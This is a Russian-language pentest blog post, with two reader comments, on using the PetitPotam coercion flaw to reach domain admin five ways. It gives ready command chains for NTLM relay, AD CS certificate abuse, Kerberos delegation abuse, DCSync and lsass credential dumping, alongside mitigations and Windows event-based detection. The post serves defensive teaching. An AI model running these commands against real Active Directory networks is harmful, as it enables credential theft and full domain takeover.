В последнее время почти на каждом проекте по внутреннему пентесту я встречаю уязвимость PetitPotam. И почти всегда она помогает в получении привилегий администратора домена. При наличии доменной учетной записи (в некоторых случаях возможна эксплуатация уязвимости без аутентификации) атакующий может с помощью специально сформированного запроса заставить уязвимый хост выполнить обращение к произвольному хосту с передачей аутентификационных данных. Подробнее можно почитать в статье «Хакера».
В этой статье я расскажу, как использую эту уязвимость и как мне удалось получить привилегии администратора домена пятью разными способами в реальных проектах.
Для атакующего суть уязвимостей одинакова — заставить уязвимый хост выполнить обращение к хосту атакующего. Поэтому вместо PetitPotam могут быть такие уязвимости, как Printer Bug или PrivExchange. Я люблю использовать именно PetitPotam, потому что он чаще всего встречается и в некоторых случаях возможна эксплуатация без аутентификации.
Внимание! Данная статья носит исключительно информационный характер и предназначена для образовательных целей.
Я использую эксплойт с GitHub (https://github.com/topotam/PetitPotam).
Основные параметры:
-u — имя пользователя;
-p — пароль пользователя;
-d — домен;
listener — машина, к которой при эксплуатации обратится уязвимый хост;
target — уязвимый хост.
В качестве listener-а чаще всего выступает машина атакующего. Только в одном векторе используется другой хост— я дополнительно это уточню.
Далее в статье фраза «эксплуатируем уязвимость PetitPotam» подразумевает запуск вышеуказанного эксплойта.
python3 PetitPotam.py -u username -p password -d domain.local listener target
Понижение аутентификации до NTLMv1
Это самый простой и быстрый способ эксплуатации. В случае, если групповыми политиками хостам разрешена аутентификация по протоколу NTLMv1, атакующий может заставить хост понизить протокол аутентификации до NTLMv1. Протокол NTLMv1 является небезопасным и позволяет осуществить перебор хеша в течение короткого срока для получения NTLM-хеша учетной записи. Это единственный случай, когда я не сочетаю PetitPotam с атакой NTLM Relay.
Как эксплуатировать
Проще всего реализовать эту атаку с помощью утилиты Responder (https://github.com/SpiderLabs/Responder). Сначала необходимо отредактировать конфигурационный файл утилиты Responder. В /etc/responder/Responder.conf устанавливаем следующий challenge (для того, чтобы затем можно было использовать сайт https://crack.sh/get-cracking):
Challenge = 1122334455667788
Затем запускаем responder с параметром lm:
Responder --lm --I eth0 --A
После этого эксплуатируем уязвимость PetitPotam. И получаем NTLMv1-хеш учетной записи компьютера.
Затем идем на сайт https://crack.sh/get-cracking. Вводим хеш в формате NTHASH:hash (пример: NTHASH:CA931F621C07AB571662D7DA05A397FB3B16EB1608D4B7DB), email.
Перебор NTLMv1-хешей на этом сайте бесплатный и обычно занимает меньше минуты, а результат приходит в письме на указанный email. В итоге мы получаем NTLM-хеш учетной записи компьютера. Этот сайт использует радужные таблицы для восстановления NTLM-хэша из NTLMv1. Теоретически вы можете использовать какие-то локальные утилиты (например, rainbowcrack), но для этого необходимо подготовить радужные таблицы. Нет смысла пытаться восстановить пароль по словарям или даже перебором, так как пароли машинных учетных записей генерируются автоматически.
В случае, если получен NTLM-хеш учетной записи контроллера домена, можно сразу провести атаку DCSync и получить NTLM-хеши всех пользователей домена из базы NTDS. Или можно провести атаку Silver Ticket.
На примере ниже с помощью утилиты secretsdump.py были получены NTLM-хеши из базы NTDS:
secretsdump.py -just-dc -hashes :ntlm-hash -outputfile ntds domain.local/vuln-hostname@dc
Как защититься
В групповых политиках (Computer Configurations -> Policies -> Windows Settings -> Security Settings -> Local Policies -> Security Options and find the policy Network Security: LAN Manager authentication level) на контроллере домена необходимо отключить использование NetNTLMv1, затем включить обязательное использования NTLMv2 и запрет на использование LM либо NTLMv1.
Выпуск сертификата в центре сертификации
Это самый популярный способ использования PetitPotam. В случае, если в инфраструктуре есть центр сертификации (Active Directory Certificate Services), и в нем активированы службы Web Enrollment или Certificate Enrollment Web Service, атакующий может провести атаку NTLM Relay на центр сертификации, получить сертификат хоста и затем с помощью сертификата получить TGT-билет. Далее можно также получить NTLM-хеш учетной записи хоста.
Как эксплуатировать
Для начала необходимо найти центр сертификации. Лучший способ — посмотреть членов группы CERT PUBLISHERS (ИЗДАТЕЛИ СЕРТИФИКАТОВ). Затем проверяем, открыт ли 80-й порт на хостах из этой группы. Запускаем ntlmrelayx.py с relay-атакой на центр сертификации. В некоторых случаях можно изменить используемый шаблон (например, если в центре сертификации не используются стандартные шаблоны).
ntlmrelayx.py -smb2support -t http://CA-IP/certsrv/certfnsh.asp --adcs --template KerberosAuthentication
Затем эксплуатируем PetitPotam, получаем запрос. Ntlmrelayx.py генерирует запрос, отправляет его в центр сертификации. В результате атаки мы получаем сертификат в base64.
Декодируем сертификат и запрашиваем с его помощью TGT-билет. Для этого я использую PKINIT tools (https://github.com/dirkjanm/PKINITtools):
сat base64_cert.txt | base64 -d > host_cert.pfx
python3 gettgtpkinit domain.local/vuln-hostname\$ -cert-pfx path-to-cert host.ccache
Имея TGT-билет хоста, уже можно выполнять какие-то действия. Но я обычно получаю NTLM-хеш учетной записи хоста с использованием утилиты getnthash.py. В параметре key нужно указать AS-REP encryption key, который был получен при выпуске TGT-билета:
export KRB5CCName=host.ccache
python3 getnthash.py domain.local/vuln-hostname\$ -key as-rep-key
Далее этот NTLM-хеш можно использовать для атак Pass-the-Hash или для атаки Silver Ticket. Я выбрала атаку Silver Ticket: создала TGS-билет для пользователя adm, который является администратором домена и администратором на уязвимом хосте. С помощью полученного билета я сдампила учетные данные из памяти процесса lsass.exe и получила пароль администратора домена в открытом виде:
ticketer.py -nthash hash -domain-sid sid -domain doman.local -spn cifs/vuln-hostname.domain.local username
export KRB5CCNAME=path-to-ccache
crackmapexec smb vuln-hostname -k -u username -M lsassy
Как защититься
Если не используете службы Certificate Authority Web Enrollment и Certificate Enrollment Web Service, то отключить их.
Включить Extended Protection for Authentication (EPA) и установить параметр Require TLS.
Запретить NTLM на всех центрах сертификации в домене с помощью групповых политик.
Отключить NTLM в IIS на хосте с ролью Центра сертификации.
Подробная инструкция: https://support.microsoft.com/en-gb/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429
Неограниченное делегирование Kerberos
Неограниченное делегирование — это привилегия, которая может быть назначена учетной записи компьютера или пользователя. Данная привилегия позволяет этой учетной записи проходить аутентификацию в сервисах от имени других учетных записей.
Что это дает атакующему?
Если у вас есть привилегии локального администратора на хосте с неограниченным делегированием, вы можете получить TGT-билеты пользователей, которые проходят аутентификацию на этом хосте, и переиспользовать их до истечения срока действия.
Как эксплуатировать
Для начала нам нужен хост с неограниченным делегированием, на котором у нас есть привилегии локального администратора. Для поиска хостов с неограниченным делегированием, которые не являются контроллерами домена, я использую кастомный запрос Bloodhound. Этот запрос я взяла из чужого репозитория (https://github.com/hausec/Bloodhound-Custom-Queries):
{
"name": "Find computers that allow unconstrained delegation that aren’t domain controllers.",
"queryList": [{
"final": true,
"query": "MATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH '-516' WITH COLLECT(c1.name) AS domainControllers MATCH (c2:Computer {unconstraineddelegation:true}) WHERE NOT c2.name IN domainControllers RETURN c2"
}]
},
Для эксплуатации нам потребуется Rubeus.exe. Подключаемся к хосту (я подключаюсь по RDP). Запускаем от имени SYSTEM Rubeus.exe в режиме монитора:
Rubeus.exe /monitorinterval:1 /targetuser:hostname$ /nowrap
Эксплуатируем PetitPotam. В качестве listener-а указываем dns-имя хоста с неограниченным делегированием, на котором мы запустили Rubeus. В Rubeus получаем TGT-билет уязвимого хоста в base64. Можно декодировать его и использовать на Kali Linux. А можно продолжить работать на этом же хосте, как сделала я.
Проводим атаку Pass-the-Ticket. Сначала декодируем base64 и записываем TGT в файл. А затем используем mimikatz.exe для атаки. Так как в моем случае уязвимым был контроллер домена, после атаки Pass-the-Ticket я провела атаку DCSync и получила NTLM-хеш администратора домена, который можно использовать для Pass-the-Hash:
[IO.File]::WriteAllBytes(“ticket-filename.kirbi”:, [Convert]::FromBase64String(“base64-ticket”))
Mimikatz.exe
kerberos::ptt ticket-filename.kirbi
lsadump::dcsync /user:adin_username
Как защититься
Провести инвентаризацию всех хостов с неограниченным делегированием. В случае, если эта привилегия не нужна, отключить ее.
Ограниченное делегирование Kerberos на основе ресурсов
При делегировании Kerberos на основе ресурсов компьютеры (ресурсы) указывают, кому они доверяют и кто может делегировать им аутентификацию. Учетные записи, которым доверяют компьютеры, указаны в атрибуте msDS-AllowedToActOnBehalfOfOtherIdentity. Если атакующий добавит в этот атрибут имя скомпрометированного компьютера (или любого компьютера, от имени которого он может пройти аутентификацию), то он сможет притвориться для целевого хоста кем угодно — например, администратором.
Как эксплуатировать
Для эксплуатации должна быть возможность проведения атаки NTLM Relay на LDAPS-сервер. Чаще всего я добавляю параметр remove-mic для эксплуатации уязвимости CVE-2019-1040.
Запускаем ntlmrelayx.py:
ntlmrelayx.py -t ldaps://dc-ip --remove-mic --delegate-access
Затем эксплуатируем PetitPotam. Если атака была успешной, мы получим имя и пароль только что созданной учетной записи компьютера.
С помощью этой учетной записи запрашиваем TGS для любого пользователя. Я запрашивала для администратора домена. Что можно сделать, имея TGS, я писала выше.
getST.py -spn host/vuln-host -impersomaite admin-name ‘domain.local/new-hostname$’
Так как в моем случае уязвим был контроллер домена, я получила NTLM-хеши всех учетных записей из базы NTDS:
export KRB5CCNAME=admin-name.ccache
secretsdump.py -just-dc -k -no-pass -outputfile ntds dc
Как защититься
Включить обязательную подпись LDAP.
Для усложнения атаки запретить непривилегированным пользователям и учетным записям компьютеров добавлять новые устройства в домен.
Установить обновление безопасности от Microsoft, если оно не установлено (https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-1040).
Атака NTLM Relay на SMB
Бывает такое, что учетная запись компьютера является локальным администратором на другом компьютере. Например, я несколько раз встречала, что члены группы EXCHANGE TRUSTED SUBSYSTEM являются локальными администраторами на серверах Exchange. В этом случае PetitPotam можно сочетать с атакой NTLM Relay на SMB — отсутствие подписи на SMB встречается довольно часто.
Как эксплуатировать
Сначала нужно найти хосты, которые являются администраторами на других хостах. Для этого я использую кастомный запрос в Bloodhound и проверяю привилегии группы EXCHANGE TRUSTED SUBSYSTEM. Я не эксперт в кастомных запросах Bloodhound, поэтому он не идеальный. Если у вас есть идеи, как его улучшить, напишите, пожалуйста, в комментариях.
{
"name": "List all computers which are local admins on other computer",
"queryList": [{
"final": true,
"query": "MATCH p=(m:Computer)-[r:AdminTo]->(n:Computer) RETURN p"
}]
}
Если нашлось несколько хостов, на которых выбранный хост или группа являются администратором, то создаем файл со списком этих хостов. Затем запускаем ntlmrelayx.py:
ntlmrelayx.py -tf exchanges-list.txt -socks
После эксплуатации PetitPotam на хосте, который является администратором (в моем случае это EXCH03), получаем SMB-сессии от имени администратора.
Далее редактируем конфигурационный файл /etc/proxychains. В списке должен быть только один прокси-сервер:
socks4 127.0.0.1 1080
Имея SMB-сессию администратора, можно использовать smbclient.py, crackmapexec и множество других утилит.
Подробнее про механизм можно почитать здесь (https://www.secureauth.com/blog/playing-with-relayed-credentials/). Я предлагаю выгрузить учетные данные из реестра (SAM и LSA). Для этого используем secretsdump.py:
proxychains secretsdump.py -no-pass ‘domain.local/victim-ip$’@hostname
В результате мы получаем NTLM-хеши локальных пользователей, в том числе локального администратора, которые можно использовать для атаки Pass-the-hash. Еще мы можем получить DCC2-хеши доменных пользователей, которые ранее аутентифицировались на хосте. Их можно побрутить. Еще иногда можно получить в открытом виде пароли пользователей, от имени которых запускаются службы. Это как раз мой случай — пользователь VeeamBackup оказался администратором домена.
Как защититься
Включить подпись на SMB.
Провести инвентаризацию и удалить лишние привилегии.
Общие рекомендации для устранения PetitPotam
Для предотвращения эксплуатации PetitPotam необходимо:
Установить обновления безопасности от Microsoft (https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36942, https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-26925).
Применить RPC-фильтры, как описано в статье https://kb.cert.org/vuls/id/405600.
Заблокировать исходящий трафик на 445-й порт от контроллеров домена к произвольным узлам.
Как детектировать PetitPotam
Детектировать следы эксплуатации PetitPotam можно несколькими способами.
1. После успешной эксплуатации уязвимости PetitPotam генерируется событие успешного логина (4624 в журнале Security) со специфичными параметрами.
Данные параметры могут использоваться:
Event ID = 4624
User: ANONYMOUS LOGON
Authentication Package: NTLM*
Elevated Token: %%1842
2. В процессе эксплуатации PetitPotam возникает принудительная проверка подлинности, в результате чего генерируется событие доступа к общей папке IPC (5145 в журнале Security):
Event ID = 5145
User: ANONYMOUS LOGON
Object Name = *IPC*
Target Name = “lsarpc” или “efsrpc” или “lsass” или “samr” или “netlogon”
Обратите внимание, что для генерации события 5145 должны быть включены расширенные настройки аудита:
Object Access – Audit Detailed File Share = Success
Object Access – File Share = Success
3. Можно детектировать факт успешной эксплуатации уязвимости PetitPotam, когда злоумышленник пробует запросить TGT после получения сертификата (вектор описан в пункте «Выпуск сертификата в центре сертификации»). Дело в том, что при запросе TGT атакующий будет обращаться к контроллеру домена со своей машины под машинной УЗ контроллера домена. Таким образом в событии запроса TGT (событие 4768 в журнале Security) появится IP-адрес атакующего.
Обратите внимание, что для такого детектирования PetitPotam необходимо выполнить следующие подготовительные действия:
создать список контроллеров домена;
создать список IP-адресов контроллеров домена;
настроить политику расширенного аудита для генерации событий 4768: Account Logon > Kerberos Authentication Service > Success/Failure.
Event ID = 4768
Account Name: *$ (машинная УЗ DC)
Service Name = krbtgt
Client Address = NOT DC IP address
Сама по себе уязвимость PetitPotam не является критической, однако в сочетании с недостатками конфигурации или особенностями инфраструктуры может быть очень опасной. Конечно, мне как пентестеру нравится, что почти в любой компании можно получить привилегии администратора домена с помощью этой уязвимости, но я рекомендую принять меры для ее устранения. Ведь наша цель — повысить уровень информационной безопасности.
Источники изображений в этом посте: «Инфосистемы Джет»
Ирина Беляева
старший консультант по информационной безопасности Центра информационной безопасности «Инфосистемы Джет»
Александр Ахремчик
ведущий аналитик центра мониторинга и реагирования на инциденты ИБ Jet CSIRT «Инфосистемы Джет»
MechanicusJr
От авторов "отключите ipv6" https://habr.com/ru/company/jetinfosystems/blog/682778/ - новые открытия, оказывается имея RDP на контроллер домена - можно на нем эксплуатировать дырку из кидди набора в кали линукс.
не дает ничего. У вас сколько глубина хранения в примере ? какое срабатывание будет по событию ? Какой SLA по отработке ?
Допустим вы уже администратор домена и хотите сделать нехорошо. ООК.
irabva
Ваши комментарии вообще не понятны.
Наличие RDP для эксплуатации PetitPotam не обязательно, ведь эксплуатируется уязвимость в SMB. Или вы считаете, что наличие непривилегированной учетной записи и RDP-сервиса на контроллере домена достаточно для компрометации домена?
С неограниченным делегированием могут быть не только контроллеры домена. На одном из проектов таких хостов было более 10. И локальный администратор на таком хосте не значит администратор домена. А привилегии локального администратора можно получить после эксплуатации какой-нибудь уязвимости, например PrintNightmare.